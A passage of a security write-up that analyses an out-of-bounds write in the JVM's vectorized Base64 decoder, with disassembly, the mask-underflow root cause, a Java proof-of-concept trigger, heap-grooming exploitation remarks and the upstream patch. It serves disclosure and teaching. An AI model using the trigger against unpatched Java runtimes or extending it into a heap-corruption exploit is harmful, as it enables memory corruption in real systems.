    7aa2a3dc1d21:	46 88 6c 01 01       	mov    BYTE PTR [rcx+r8*1+0x1],r13b
    7aa2a3dc1d26:	41 c1 ed 08          	shr    r13d,0x8
    7aa2a3dc1d2a:	46 88 2c 01          	mov    BYTE PTR [rcx+r8*1],r13b
    7aa2a3dc1d2e:	48 83 c1 03          	add    rcx,0x3
    7aa2a3dc1d32:	41 ff ce             	dec    r14d
    7aa2a3dc1d35:	0f 84 37 00 00 00    	je     0x7aa2a3dc1d72
    7aa2a3dc1d3b:	44 0f b6 2c 37       	movzx  r13d,BYTE PTR [rdi+rsi*1]
    7aa2a3dc1d40:	44 0f b6 7c 37 01    	movzx  r15d,BYTE PTR [rdi+rsi*1+0x1]
    7aa2a3dc1d46:	47 0f be 2c 2b       	movsx  r13d,BYTE PTR [r11+r13*1]
    7aa2a3dc1d4b:	47 0f be 3c 3b       	movsx  r15d,BYTE PTR [r11+r15*1]
    7aa2a3dc1d50:	0f b6 54 37 02       	movzx  edx,BYTE PTR [rdi+rsi*1+0x2]
    7aa2a3dc1d55:	44 0f b6 4c 37 03    	movzx  r9d,BYTE PTR [rdi+rsi*1+0x3]
    7aa2a3dc1d5b:	41 0f be 14 13       	movsx  edx,BYTE PTR [r11+rdx*1]
    7aa2a3dc1d60:	47 0f be 0c 0b       	movsx  r9d,BYTE PTR [r11+r9*1]
    7aa2a3dc1d65:	49 8b c5             	mov    rax,r13
    7aa2a3dc1d68:	41 0b c7             	or     eax,r15d
    7aa2a3dc1d6b:	0b c2                	or     eax,edx
    7aa2a3dc1d6d:	41 0b c1             	or     eax,r9d
    7aa2a3dc1d70:	79 8e                	jns    0x7aa2a3dc1d00
    7aa2a3dc1d72:	58                   	pop    rax
    7aa2a3dc1d73:	48 2b c8             	sub    rcx,rax
    7aa2a3dc1d76:	48 8b c1             	mov    rax,rcx
    7aa2a3dc1d79:	5b                   	pop    rbx
    7aa2a3dc1d7a:	41 5f                	pop    r15
    7aa2a3dc1d7c:	41 5e                	pop    r14
    7aa2a3dc1d7e:	41 5d                	pop    r13
    7aa2a3dc1d80:	41 5c                	pop    r12
    7aa2a3dc1d82:	c9                   	leave
    7aa2a3dc1d83:	c3                   	ret

The above lists the code produced for the vectorized decoding routine. rdi points to the input buffer, while rcx points to the destination buffer. The r14d register holds the remaining input size.

The instructions vmovdqu64 -0x6be(%rip),%zmm5 and vmovdqu64 -0x688(%rip),%zmm6 load the lookup tables.

If the input contains at least 256 bytes, then loop unrolling is used, and 4 blocks of 64 bytes are processed at the same time to increase instruction-level parallelism.

The input is loaded into 4 different vector registers (4 × vmovdqu64), followed by lookup table mapping (4 × vpermt2b). If it turns out that one of these blocks contains a negative or invalid character, execution jumps to the 64-byte block processing routine. Otherwise, we continue with 4 × vpmaddubsw and 4 × vpmaddwd to combine the values, as illustrated below, followed by 3 × vpermt2b to apply permutations, get rid of the unused bytes, and make the stores contiguous. Finally, the four decoded blocks of 48 bytes each are stored using 3 actual stores of 64 bytes, i.e., 3 × vmovdqu64.

Here, there is no need for masking because the decoded bytes have been packed into three complete 64-byte vectors.

Now we get to the 64-byte block processing routine, which is very similar to the above.

The only difference is that we process the input block by block, with each block consisting of 64 bytes. If there is an invalid character, execution jumps to the fallback routine (more on that later). Otherwise, once the remaining input is smaller than one full block, execution continues to the tail-processing routine. In this case, we need to compute the output size, which is held in r13. Based on the arithmetic instructions, this corresponds to:

\( 3\times\left\lfloor\frac{\text{encoded size}}{4}\right\rfloor
=3\times\left\lfloor\frac{R14D}{4}\right\rfloor \)

Given the estimated output size, we need to take padding into account. The comparison instructions check for the padding character = (hexadecimal 0x3d), while dec and shr adjust the output size and input mask, respectively ( shr shifts the input mask to the right by one bit).

Now, given the computed output size, bzhi is used to generate a bitmask with one enabled bit per output byte, within the 64-bit operand width.

We then initialize a vector register using mov $0x61616161,%eax, followed by vpbroadcastd %eax,%zmm0, filling its byte lanes with the valid Base64 character a to avoid introducing invalid characters into the unused input lanes.

Again, we use vpermt2b to perform lookup table mapping. If all characters pass validation, we continue with vpmaddubsw, vpmaddwd, and vpermb.

The Vulnerability

If you remember, we stored the output size in r13 and the output bitmask in r15. The thing here is that if the unsigned value of the lowest 8 bits of r13 is greater than or equal to the 64-bit operand width, bzhi leaves r15unchanged (this is where the bug comes from). In particular, if r13 is -1 its lowest 8 bits represent the unsigned value 255, which exceeds the 64-bit operand width.

The instruction kmovq %r15,%k1 copies the unchanged bitmask into k1, which is then used by the subsequent masked store (r15 is initialized using mov $0xffffffffffffffff,%r15).

If the remaining block contains an invalid character, execution jumps to a fallback routine, which processes 0x20 input bytes at a time and produces 0x18 decoded bytes, similarly to the JVM code we covered earlier.

As we will see during the next section,r13 can be -1 when the remaining input size is 1, i.e., only = is left, and the mapped output size is 3 × (1/4) = 0. Because there is padding, i.e., =, it subtracts 1, resulting in -1. This leaves the mask unchanged, and thus the rest of the vector register is written when it shouldn't be (even though the exception occurs later, the out-of-bounds write has already occurred).

The PoC Exploit

Let's look at the exploit https://calif.io/java4shell.

import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;

/** Bounded standalone trigger: every write stays inside a real 4096-byte array. */
public final class Base64Trigger {
    private static volatile int sink;

    public static void main(String[] args) {
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] valid = "A".repeat(64).getBytes(StandardCharsets.US_ASCII);
        byte[] malformed = ("A".repeat(64) + "=").getBytes(StandardCharsets.US_ASCII);
        byte[] target = new byte[4096];

        for (int i = 0; i < 200_000; i++) {
            sink += decoder.decode(valid, target);
        }

        Arrays.fill(target, (byte) 0x5a);
        boolean rejected = false;
        try {
            decoder.decode(malformed, target);
        } catch (IllegalArgumentException expected) {
            rejected = true;
        }

        int changed = 0;
        int first = -1;
        int last = -1;
        for (int i = 50; i < target.length; i++) {
            if (target[i] != (byte) 0x5a) {
                changed++;
                if (first < 0) first = i;
                last = i;
            }
        }

        System.out.println("runtime=" + System.getProperty("java.runtime.version"));
        System.out.println("vm=" + System.getProperty("java.vm.name"));
        System.out.printf("rejected=%s changed=%d first=%d last=%d%n",
            rejected, changed, first, last);

        if (!rejected || changed != 62 || first != 50 || last != 111) {
            System.err.println("NOT REPRODUCED");
            System.exit(1);
        }
        System.out.println("REPRODUCED");
    }
}

Basically, what it does is allocate a large buffer and then fill it with marker values to detect an overflow. It also uses a warmup loop to get the JIT compiler's attention. In this case, the expected output size is 50 bytes, so the decoder is not supposed to write beyond this limit. However, if it does, it will overwrite some of the marker values, allowing us to detect the out-of-bounds write. This is basically what happens, as illustrated below.

The input is malformed and ends with =.

We can inspect the contents of the destination buffer before the decoding operation.

And after the decoding operation, which shows that the overflow occurred.

The PoC also reports how many elements were modified beyond the expected output size. In this case, 62 bytes were modified past offset 50, since the masked store writes 64 bytes starting at offset 48, leaving only 2 bytes within the expected output range (64 - 2 = 62).

If we summarize, the vectorized decoding routine uses some arithmetic that leads to an underflow, which then leads to an out-of-bounds write, specifically 62 bytes. But the chunk lives in the heap, i.e., it was allocated by the underlying memory allocator, and we don't know what comes next, if anything. Usually, in low-level code like C, for instance, one way to exploit a memory defect is to corrupt the metadata of the underlying memory allocator. Here, the idea is similar, but instead we target Java object metadata. However, these bytes are not fully controlled, so exploitation is not straightforward. It depends on the underlying JVM memory allocation behavior, combined with heap grooming to influence the heap layout, i.e. the placement of nearby objects.

The Patch

If we look at the patch, it is very simple. We just need to exit the vectorized routine if it turns out that the remaining input size is smaller than 4 (which would have produced an output size of \(0\), if you remember the earlier calculation involving r14). In this case, execution jumps to the fallback routine (the java decoding logic to take over).

[https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede191fdac7aaba0bed0f8b]

Share This Post

Check out these related posts

Breaking Memory Safety in the Heap Arena

Cracking Userland Memory Defects (Stack)

Glibc Heap Internals